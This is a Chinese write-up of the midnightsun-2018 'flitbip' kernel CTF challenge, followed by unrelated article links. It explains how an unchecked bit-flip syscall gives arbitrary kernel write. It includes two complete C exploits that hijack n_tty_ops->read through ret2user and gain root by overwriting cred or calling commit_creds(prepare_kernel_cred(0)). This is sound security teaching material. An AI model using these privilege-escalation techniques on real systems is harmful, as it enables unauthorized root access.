midnightsun-2018-flitbip:任意地址写

题目下载

启动脚本

启动脚本如下,没开启任何保护

#!/bin/bash
qemu-system-x86_64 \-m 128M \-kernel ./bzImage \-initrd ./initrd \-nographic \-monitor /dev/null \-append "nokaslr root=/dev/ram rw console=ttyS0 oops=panic paneic=1 quiet" 2>/dev/null

题目:自定义的系统调用

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>#define MAXFLIT 1#ifndef __NR_FLITBIP
#define FLITBIP 333
#endiflong flit_count = 0;
EXPORT_SYMBOL(flit_count);SYSCALL_DEFINE2(flitbip, long *, addr, long, bit)
{if (flit_count >= MAXFLIT){printk(KERN_INFO "flitbip: sorry :/\n");return -EPERM;}*addr ^= (1ULL << (bit));flit_count++;return 0;
}

题目提供了一个新的系统调用号,调用号为333
该系统调用有两个参数:addrbit
作用:对addr地址存储数据的第bit位与1进行异或(起始下标是第0位)
限制:使用全局变量long flit_count限制异或功能的次数,进入系统调用检查flit_count是否大于等于1

  • 如果等于1,则直接退出
  • 小于1,则对数据进行异或,并增加flit_count的值

也就是正常情况下,该系统调用的异或功能只能起作用一次


题目问题:系统调用未对传递的addr参数做检查,可以传入内核空间的地址。

  • 由于未开启地址随机化,可以传入flit_count全局变量的地址,使系统调用中的异或功能使用次数不受限
  • 通过系统调用中的异或功能,实现任意地址写,进而提权

准备编译打包脚本

为了变量编写的poc能被快速验证,创建了一个shell 脚本,用于编译poc,并将编译好的poc打包进initrd中

#!/bin/bashecho "[*]build poc elf"
name=$1
elf_name=$(echo $1 | cut -d . -f1)
gcc -static -g $name  -masm=intel -o $elf_nameecho "extract initrd"
rm -rf ./extracted
mkdir extracted
cd extracted
cp ../initrd ./
zcat ./initrd | cpio -idmv 
rm ./initrd
cp ../$elf_name $elf_nameecho "cpio initrd"
find ./ -print0 | cpio --owner root --null -o --format=newc > ../initrd
cd ..
gzip initrd
mv initrd.gz initrd

使用方式

./build.sh xxx.c

就能将xxx.c编译为xxx,并打包到initrd

获取flit_count和其他内核符号的地址信息

通过/proc/kallsyms

首先在启动脚本中添加nokaslr取消地址随机化
再修改initrd中的init启动文件

setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

再重新打包initrd,以root用户权限查看/proc/kallsyms中符号的地址

通过vmlinux-to-elf + ida

bzImage转换为elf文件,放入到ida中

vmlinux-to-elf bzImage vmlinux

在导出窗口就能看见符号地址
在这里插入图片描述

通过vmlinux-to-elf + pwntools

这个比较方便
还是先通过vmlinux-to-elf转换bzImageelf文件
再使用pwntools提取符号

from pwn import *vmlinux_elf = ELF('./vmlinux')
flit_count = vmlinux_elf.symbols['flit_count']
print(hex(flit_count))

尝试调用自定义系统调用

编写代码,调用系统调用看看自定义系统调用的功能
测试a=1时,将a中数据第3位与1进行异或(起始下标是第0位)

0-0-0-1
1-0-0-0
^
=======
1-0-0-1 = 9
// 文件名为 01_syscall.c
#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}int main()
{int a = 1;int result = call_flitbip(&a, 3);printf("Now num is %d, result = %d\n", a , result);return 0;
}

进行编译打包

./build.sh 01-syscall.c

运行qemu启动脚本,查看结果

/ $ ./01_syscall 
Now num is 9, result = 0  <<<<<<<<<< 二进制 1000 ^ 0001 = 1001 / $ ./01_syscall 
Now num is 1, result = -1   <<<<<< 正常情况下系统调用的异或功能只能有效一次
/ $ 

修改flit_count,使flit_count >= 1判断绕过

这里将flit_count 修改为负数,则判断就绕过了
flit_count 是long类型,8字节,将第63为修改为1就是负数(起始下标是第0位)

#define _GNU_SOURCE
#include <stdio.h>long _call_flitbip(long *addr, long bit){asm("mov rax, 333\n""syscall\n");
}long call_flitbip(long *addr, long bit){long tmp = _call_flitbip(addr, bit);return tmp;
}const ulong flit_count = 0xffffffff818f4f78;int main()
{call_flitbip(flit_count, 63); return 0;
}

找到_x64_sys_flitbip的地址为0xFFFFFFFF810AE72D,下端进行调试
在系统调用前,查看flit_count的值为0

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x0000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

再经过异或之后,值为0x8000000000000000

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000000	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

之后flit_count再自增1,值为0x8000000000000001

pwndbg> x/16gx 0xffffffff818f4f78
0xffffffff818f4f78:	0x8000000000000001	0x0000000100000000
0xffffffff818f4f88:	0x0000000000000000	0x0000000000000000
0xffffffff818f4f98:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fa8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fb8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fc8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fd8:	0x0000000000000000	0x0000000000000000
0xffffffff818f4fe8:	0x0000000000000000	0x0000000000000000

这样基本就可以不受限使用自定义系统调用的异或功能了,从而实现任意地址写

ret2user + 修改cred

#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}void get_root() {int * cred = *(unsigned long*)((char*)*current_task + 0x3c0);for (int i = 1; i < 9; i++)cred[i] = 0;*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);for (unsigned long i=0; i<64; i++) {if (val &  (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30  , i);}scanf("%c", &a);while(1);return 0;
}

ret2user + commit_creds(prepare_kernel_cred(0));

// / $ uname -a
// Linux (none) 4.17.0 #1 Fri Jun 15 18:16:45 CEST 2018 x86_64 GNU/Linux// ffffffff81033e92 T prepare_kernel_cred
// ffffffff81033d41 T commit_creds#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>unsigned long* flip_count = 0xFFFFFFFF818F4F78;
unsigned long* n_tty_ops  =0xffffffff8183e320;
unsigned long* n_tty_read = 0xffffffff810c8510;
unsigned long* current_task = 0xffffffff8182e040;long flitbip(long* addr, long bit) {__asm__("mov rax, 333");__asm__("syscall");
}char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;static void save_state() {__asm__("mov %0, cs\n""mov %1, ss\n""pushfq\n""popq %2\n":"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)::"memory");
}void launch_shell(void) {system("/bin/sh");
}#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff81033e92;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff81033d41;void get_root() {commit_creds(prepare_kernel_cred(0));// 回复 n_tty_ops->read的值*(unsigned long*)((char*)n_tty_ops+0x30) = (unsigned long)n_tty_read;__asm__("swapgs\n""mov rax, %0\n""push rax\n""mov rax, %1\n""push rax\n""mov rax, %2\n""push rax\n""mov rax, %3\n""push rax\n""mov rax, %4\n""push rax\n""iretq\n"::"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell):"memory");
}int main(void) {char a;user_stack = &a;save_state();flitbip(flip_count, 63);unsigned long val = (unsigned long)get_root ^ (unsigned long)n_tty_read;printf("%lx\n", val);// 画了个很简单的图,一看就明白意思for (unsigned long i=0; i<64; i++) {if (val &  (1ULL << (i)))flitbip((char*)n_tty_ops + 0x30  , i);}scanf("%c", &a);while(1);return 0;
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/674831.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

“掌握温度,感知湿度,一触即知!”DHT11温湿度传感器,为您的生活增添一份关怀与精准。#非标协议【下】

“掌握温度&#xff0c;感知湿度&#xff0c;一触即知&#xff01;”DHT11温湿度传感器&#xff0c;为您的生活增添一份关怀与精准。#非标协议【下】 前言预备知识1.DHT11温湿度传感器初识1.1产品概述1.2与51单片机接线1.3数据传送逻辑和数据格式 2.发送时序检测DHT11温湿度传感…

从零开始手写mmo游戏从框架到爆炸(十一)— 注册与登录

导航&#xff1a;从零开始手写mmo游戏从框架到爆炸&#xff08;零&#xff09;—— 导航-CSDN博客 从这一章开始&#xff0c;我们进入业务的部分&#xff0c;从注册登录开始。 创建注册和登录的路由 package com.loveprogrammer.command.server;public interface Se…

vue 实现一个持续时间定时器组件

vue 实现一个定时器组件 效果图子组件父组件 效果图 子组件 新建一个timer.vue文件 <template><span :class"{red: string > 600}">{{ string | formatDurationS }}</span> </template> <script>export default {name: timer,pro…

【十二】【C++】vector用法的探究

vector类创建对象 /*vector类创建对象*/ #if 1 #define _CRT_SECURE_NO_WARNINGS#include <iostream> using namespace std; #include <vector> #include <algorithm> #include <crtdbg.h>class Date {public:Date(int year 1900, int month 1, int …

Mongodb启动为Windows服务开机自启动

注意&#xff1a;mongodb的安装目录不应有中文&#xff0c;如果有&#xff0c;服务启动的路径会出现乱码&#xff0c;导致找不到对应的文件 1.安装好mongoDB 2.创建data目录&#xff0c;并在其中创建db目录和log目录 3.在log目录中创建mongodb.log文件 4.打开cmd&#xff08;用…

(每日持续更新)jdk api之ObjectInputFilter.Status基础、应用、实战

博主18年的互联网软件开发经验&#xff0c;从一名程序员小白逐步成为了一名架构师&#xff0c;我想通过平台将经验分享给大家&#xff0c;因此博主每天会在各个大牛网站点赞量超高的博客等寻找该技术栈的资料结合自己的经验&#xff0c;晚上进行用心精简、整理、总结、定稿&…

计算机网络基本知识(二)

文章目录 概要分层为什么分层怎么分层&#xff1f;1.实体2.协议3.服务 分层基本原则正式认识分层详细例子解释 总结 概要 分层知识&#xff1a;概念理解 分层 为什么分层 大致以上五点 为了解决上面的问题&#xff08;复杂&#xff09; 大问题划分为小问题 怎么分层&#…

代码随想录算法训练营第十五天|102.二叉树的层序遍历、226.翻转二叉树

102.二叉树的层序遍历 刷题https://leetcode.cn/problems/binary-tree-level-order-traversal/description/文章讲解https://programmercarl.com/0102.%E4%BA%8C%E5%8F%89%E6%A0%91%E7%9A%84%E5%B1%82%E5%BA%8F%E9%81%8D%E5%8E%86.html视频讲解https://www.bilibili.com/video…

【前端素材】bootstrap4实现绿色植物Lukani平台

一、需求分析 绿色植物商城是一个专门销售绿色植物的零售商店或在线平台。它提供各种类型和品种的室内植物、室外植物和盆栽等。绿色植物商城的作用可以从以下几个方面来分析&#xff1a; 1. 提供多样化的选择&#xff1a;绿色植物商城通常会提供各种各样的绿色植物选项&…

网络安全产品之认识准入控制系统

文章目录 一、什么是准入控制系统二、准入控制系统的主要功能1. 接入设备的身份认证2. 接入设备的安全性检查 三、准入控制系统的工作原理四、准入控制系统的特点五、准入控制系统的部署方式1. 网关模式2. 控制旁路模式 六、准入控制系统的应用场景七、企业如何利用准入控制系统…

分布式系统架构介绍

1、为什么需要分布式架构&#xff1f; 增大系统容量&#xff1a;单台系统的性能瓶颈&#xff0c;多台机器才能应对大规模的应用场景&#xff0c;所以就需要我们的应用支撑平台具备分布式架构。 加强系统的可用&#xff1a;为了满足业务的SLA要求&#xff0c;需要通过分布式架构…

表单标记(html)

前言 发现input的type属性还是有挺多的&#xff0c;这里把一些常用的总结一下。 HTML 输入类型 (w3school.com.cn)https://www.w3school.com.cn/html/html_form_input_types.asp text-文本 文本输入,如果文字太长&#xff0c;超出的部分就不会显示。 定义供文本输入的单行…

Stability AI一种新型随心所欲生成不同音调、口音、语气的文本到语音(TTS)音频模型

该模型无需提前录制人声样本作为参考&#xff0c;仅凭文字描述就能生成所需的声音特征。用户只需描述他们想要的声音特点&#xff0c;例如“一个语速较快、带有英国口音的女声”&#xff0c;模型即可相应地生成符合要求的语音。它不仅能模仿已有的声音&#xff0c;还能根据用户…

Mac使用AccessClient打开Linux堡垒机跳转闪退问题解决

登录公司的服务器需要使用到堡垒机&#xff0c;但是mac使用AccessClient登录会出现问题 最基础的AccessClient配置 AccessClient启动需要设置目录权限&#xff0c;可以直接设置为 权限 777 chmod 777 /Applications/AccessClient.app注: 如果不是这个路径,可以打开终端,将访达中…

OJ刷题:求俩个数组的交集(没学哈希表?快排双指针轻松搞定!)

目录 ​编辑 1.题目描述 2.C语言中的内置排序函数&#xff08;qsort&#xff09; 3.解题思路 3.1 升序 3.2双指针的移动 3.3 保证加入元素的唯一性 4.leetcode上的完整代码 完结散花 悟已往之不谏&#xff0c;知来者犹可追 …

新增C++max函数的使用

在 C 中&#xff0c;max函数是标准库中的一个函数&#xff0c;用于返回两个或多个元素中的最大值。max函数的声明如下&#xff1a; cpp #include <algorithm>template<class T> const T& max(const T& a, const T& b);这个函数接受两个同类型的参数a…

UML 2.5图形库

UML 2.5图形库 drawio是一款强大的图表绘制软件&#xff0c;支持在线云端版本以及windows, macOS, linux安装版。 如果想在线直接使用&#xff0c;则直接输入网址drawon.cn或者使用drawon(桌案), drawon.cn内部完整的集成了drawio的所有功能&#xff0c;并实现了云端存储&#…

UnityShader:直接光照效果/点光/平行光阴影

效果&#xff1a; 代码&#xff1a; Shader "MyShader/PhongNormal" {Properties{_DiffuseTex("漫反射贴图",2d)"white"{}_AOTex("AO贴图",2d)"white"{}_SpecularMask("高光遮罩",2d)"white"{}_Normal…

大模型实战营第二期——2. 浦语大模型趣味Demo

文章目录 1. 大模型及InternLM模型介绍2. InternLM-Chat-7B智能对话Demo2.1 基本说明2.2 实际操作2.2.1 创建开发机2.2.2 conda环境配置2.2.3 模型下载2.2.4 InternLM代码库下载和修改2.2.5 cli运行2.2.6 web_demo运行 3. Lagent智能体工具调用Demo3.1 基本说明3.2 实际操作3.2…

商业智能(BI)数据分析、挖掘概念

商业智能&#xff08;BI&#xff09;数据分析挖掘概念 一、商业智能&#xff08;BI&#xff09;数据分析挖掘概念 数据挖掘目前在各类企业和机构中蓬勃发展。因此我们制作了一份此领域常见术语总结。 1.分析型客户关系管理&#xff08;Analytical CRM/aCRM 用于支持决策&…